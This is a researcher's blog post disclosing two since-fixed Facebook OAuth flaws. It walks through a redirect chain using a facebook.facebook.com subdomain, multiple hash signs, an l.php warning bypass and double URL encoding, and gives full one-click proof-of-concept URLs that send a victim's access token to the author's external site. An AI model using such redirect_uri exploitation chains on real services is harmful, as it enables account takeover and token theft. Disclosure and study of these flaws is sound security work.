How I Hacked Any Facebook Account...Again!

This is my second post regarding Facebook OAuth Vulnerabilities,

just to clarify there is no need for any installed apps on the victim's account, Even if the victim has never allowed any application in his Facebook account I could still get full permission on his account via Facebook Messenger app_id (This bug works on any browser),

Also, It's important to mention that there is a special regex protection in Facebook Messenger app_id (app_id=220764691281998),

I was able to bypass it.


Bug 1:

Reported this bug at 6/03/2013, Facebook Security Team Fixed it immediately ,

Also reported more OAuth bugs at 26/02/2013, Facebook Security Team Fixed it very quickly

Regarding Facebook OAuth Double URL Encoding (Firefox), Reported at 6/02/2013, Fixed it very quickly

Details:

So after my first OAuth Vulnerability discovery http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html

Facebook Security was trying to protect OAuth Token Hijacking attacks by using  Regex Protection (%23xxx!,%23/xxx,/)

Facebook rejected one hash sign request in redirect_uri, next parameter ( next=%23/xxxx,next=%23xxx!) to avoid OAuth Attacks,

Instead, Facebook allow two or more hash sign request in redirect_uri,next parameter (next= %23/xxx/ %23/xxx)

That's because no one was thinking there is a way to exploit Facebook OAuth with Multiple hash sign request

So Can we exploit OAuth with two hash sign request? (%23/x/%23/xxxx)?,

The answer is yes!,

I found that there is a strange behavior of redirection when a user use multiple hash sign request in facebook.com

Multiple Hash Sign Request Example:

facebook.com/#/x/#/messages

Redirect to:

http://facebook.com/x/#/messages/

And:

http://facebook.com/x/#/messages/

Redirect to:

http://facebook.com/messages/

Amazing How Things Works ;)

Now, After we know that we can use multiple hash sign request (#/xxx/#/xxx)

in our redirect_uri, next parameter to bypass the one hash sign (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx),

There is more to it in order to use that behavior to exploit the OAuth Bug once again,

I found out that Facebook OAuth rejects unauthorized subdomains in redirect_uri, next parameter,

For example:

Facebook allows only subdomains of Facebook Mobile Version,

Such as:

touch.facebook.com

m.facebook.com

0.facebook.com


But rejects unknown subdomains:

( aaa.facebook.com, bbb.facebook.com)+ main domains ( facebook.com, apps.facebook.com,etc..)

Again, Bad News!

That's Because In any mobile version of Facebook ( touch.facebook.com, m.facebook.com, 0.facebook.com), We won't see the multiple hash sign behaviour in our request

For Example:

https://touch.facebook.com/#/xx/#!messages

https://touch.facebook.com/#!/xx/#!/messages

This request will not be valid, Will not redirect us to the messages screen,

Anyway, I need a subdomain like the same official domain of facebook.com,

I need it to exploit the strange redirection behavior with multiple hash sign request  (#/xx/#/xx) under facebook.com

At first sight it seems that facebook rejects any subdomain except the mobile subdomain version (touch.facebook.com,etc...),

I found that if I use facebook as a subdomain (facebook.facebook.com), I can bypass this protection,

Sometimes the answer is right in front of you :).

Wait a second!,

For now it seems that I can access to files / directories in facebook.com via the redirect_uri,next parameter right?,

But i can't access my app that redirect victims to the attacker's external website (files.nirgoldshlager.com) , To Save the access_token of the victim,
That's Because my "malicious" App located at touch.facebok.com/apps/xxx, apps.facebook.com/apps/xxxx

I thought of a few ways to exploit this situation,

1.

Create a Page Tab in Facebook Page that redirect to external website ( files.nirgoldshlager.com),

2.

Try to access my app from facebook.com domain


3.

Find a Site Redirection Vulnerability in facebook.com.


I tried to use my App or Page tab in redirect_uri,next parameter

For Example:

A.

(My "Malicious" App, Located in facebook.com)

https://facebook.com/apps/application.php?id=314021278671363

B.

(Page Tab that redirect to external website, Located in facebook.com)

https://www.facebook.com/Goldshlager?v=app_185356844859770

Bad news again!

I cant use this methods because there is to much redirection process in this attack,

The Access_token of the victim will not be sent to an external site after 3 redirection requests in GET URL, That's sucks!

I was thinking again, Maybe there is some way to redirect the victim directly to my app located in touch.facebook.com/apps/myapp to limit the redirection process to three times for example.

So, I found that there is a file called l.php in facebook.com, I'm sure most of you familiar with this file,

This file is responsible of redirecting people to external websites, In this case Facebook provide a warning message, Ask the user to confirm the redirection before they redirect him,

Seems I'm lost again,

I found that if i use 5 byte before the external website in l.php,

I can bypass this warning message when i redirect the victim to subdomains of facebook.com

For example:

Warning message:

https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs

Bypass warning message by using  5 byte , Redirect to touch.facebook.com subdomain:

https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs

Cool!,

Now lets combine all of these methods to bypass Facebook OAuth,

Exploit Summary

1. 

Using facebook.facebook.com subdomain to bypass subdomain regex protection in OAuth ( facebook.facebook.com)

2.

Exploit the strange redirection behavior in facebook.com with multiple hash signs ( https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs)

3.

Bypass the warning message in l.php with 5 byte ( https://www.facebook.com/l/ggggg;touch.facebook.com)

4.

Redirect the victim to external websites located in files.nirgoldshlager.com via my Facebook app, To save the victim access_token in a log file

Final PoC One Click (Works On All Browsers, Bypass 2-STEP Verification, Access token never expired until the victim changed his password):

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token


  Full description of permission for Facebook Messenger Access Token:

ads_management create_event create_note email export_stream  manage_friendlists manage_groups manage_notifications manage_pages  offline_access photo_upload publish_actions publish_checkins  publish_stream read_friendlists read_insights read_mailbox  read_page_mailboxes read_requests read_stream rsvp_event share_item sms  status_update video_upload xmpp_login


 And???

Bug 2.

This bug was fixed a few weeks ago,

I wanted to find something unique for Facebook users that are using Firefox Browser!,

I found that an attacker is able to encode his payload with Double URL Encoding (%25xx) to attack Facebook users under Firefox Browser and bypass Facebook OAuth regex protection.

This behavior bypasses the hash sign regex protection in touch.facebook.com, facebook.com   ,  x.facebook.com,etc..

PoC:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1

BTW.

If you want to use OAuth 2.0 in your own web site, You can look at Egor Homakov @homakov post ( http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html), that shows how to fix these vulnerabilities in OAuth 2.0,

Also please read the risks regarding OAuth 2.0 before you use it in your own site

http://tools.ietf.org/html/rfc6749#page-60


See you next time :)